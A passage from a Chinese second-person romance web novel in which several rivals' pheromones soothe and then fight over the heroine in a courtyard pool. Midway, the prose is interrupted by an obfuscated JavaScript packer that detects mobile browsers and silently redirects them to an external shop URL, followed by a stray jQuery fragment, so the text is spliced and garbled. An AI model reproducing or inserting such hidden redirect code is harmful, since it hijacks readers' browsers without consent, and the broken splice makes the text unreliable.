你当机立断,膝盖一松软绵绵轻飘飘往下滑,肩膀刚撞上水面,沈淮的手就到了。
掌心贴着你腋窝,五指收拢把你往上提。
他的指腹压着你的皮肤,颈后隔着一层水,感应到你戒断的疼痛——那股橙花柠檬立刻无声渗了出来。
和刚才争斗时撕扯的不同,温柔又小心翼翼,像一双手从滚烫的沸水里把你捞出来。
橙花柠檬贴着那片皮肤渗进去,熟稔安抚你的身体。
熬了几天的戒断痛感瞬间缓了一口气,像干裂的嘴唇碰到第一滴温水。
无花果气息从怦然大开的百叶窗渗出来,它没有立场,只是顺着熟悉的橙花柠檬气息缠上去,亲昵、软塌塌蹭着那股橙花的边缘,像一只离了主人太久的猫终于被摸到了下巴,浑身的毛都塌下去,软在掌心里。
身体先于大脑做出反应——它缠得紧了一寸,蹭着那股微酸的甜香,似乎在问:这么久你去哪里了?你怎么才来呀?
沈淮浑身僵硬,声音颤抖:“乖乖,是我不好,都是我不好,没护住你……”
太子捏着你左腕的手一直没有松开。冰川雪松从你颈后快速退潮,退到精神图景边缘时停下来,凝成一层极薄的冰壳,贴在外壁上,撑住你的图景边界。一股精神力从你脉搏处渗入,极稳极薄地熨平之前那些被拉扯出来的褶皱,像一双手按住一块被风吹起的布料四角,让它重新落回原位。
你闭着眼安静下来,橙花柠檬裹着你的身体,冰川雪松撑着你的图景,无花果信息素在中间蜷着,软下来,亲昵地蹭着那股橙花的边缘。
戒断痛在消退,精神图景在平复。
你快要睁眼时第三股气息没头没脑砸了进来。
硝烟。烈酒。
炽热燎原的大火烧了起来,整个院子的水汽被那股滚烫的气流撕开一道口子,枫叶从枝头震落,砸在水面上像碎屑。
你猛然睁开眼睛,只见盛炽野睚眦欲裂,大吼一声:“你们在对她干什么?!”
声音炸开的瞬间,他跳进了水里。
你痛苦闭上眼睛:“他怎么也来了?要糟!”
水花溅到你脸上又热又烫。
盛炽野的气息在空气中单方面绞杀——整片硝烟烈酒像一堵烧着的墙朝沈淮压过来。
他的拳头冲着沈淮,但气息是无差别碾压。
你的胸口撞上一片冷硬的胸膛,萧时澜一个转身紧紧抱住你,肩背朝向盛炽野的方向,整个人横在你和那股硝烟烈酒之间。
他像在按一层你肉眼看不到的东西,冰墙贴着你胸口,肩膀剧烈抖动,将灼浪隔在外一寸。那股灼浪在他背后碾过去,他没有动。
沈淮被那一拳砸中肩膀,偏了一下,但他没有退。他侧过身,肩背朝向盛炽野的方向,把你们之间那道空隙撑大了。
然后你感知到了——他把自己的气息全部封死了,一丝橙花都没往外放。
你整个人陷在萧时澜怀里,从臂弯下看到——
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738093|208280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>沈淮在用纯精神力扛盛炽野的攻击,那层精神力以你为中心侧铺出去,像一张被火燎过的网,边缘在烧,中心在缩,每一秒都在被灼穿又强行修补。
那层网在抖,在熔,还在强撑着保护你。
沈淮把所有力气都花在撑住护着你的网,身体硬生生扛着盛炽野的拳头,硬生生卡住它落下的轨迹,肩膀在发颤,嘴角渗出了一道血。
“住手!你这个莽夫,你又要害她吗?”
沈淮的声音充满愤怒,喉咙里含着血。
盛炽野的拳头停在了半空,院子里安静了一瞬,只有硝烟烈酒的余温在水面上方盘旋,灼得枫叶卷边。
盛炽野眼底猩红,呼吸粗重得像困兽,拳头攥得骨节发白,却强行僵在原地。
你靠在太子身上,嘴唇动了动,声音哑得像碎了的砂纸,轻到三个人都必须停下呼吸才能听见:
“别打了。”
你内心涌起一阵荒谬的无奈,一片枫叶从枝头脱落,打着旋往下坠,在快要接触水面时被硝烟烈酒的余温燎了一下,叶尖卷曲,发出极轻的焦响——像你颈后那圈正在灼烧的皮肤。
苏幼宁的话浮现在你脑海:他们几个发疯要一起标记你的时候,不要犹豫,马上昏倒。
你悄悄在精神图景下了一个暗示:昏睡,好好休养三天,一觉醒来,蜂鸟就能刻入,这一切就都值得了。
你故意加了一句:“好疼…”眼皮轻悠悠往下坠,膝盖一松,整个人瘫软了下去……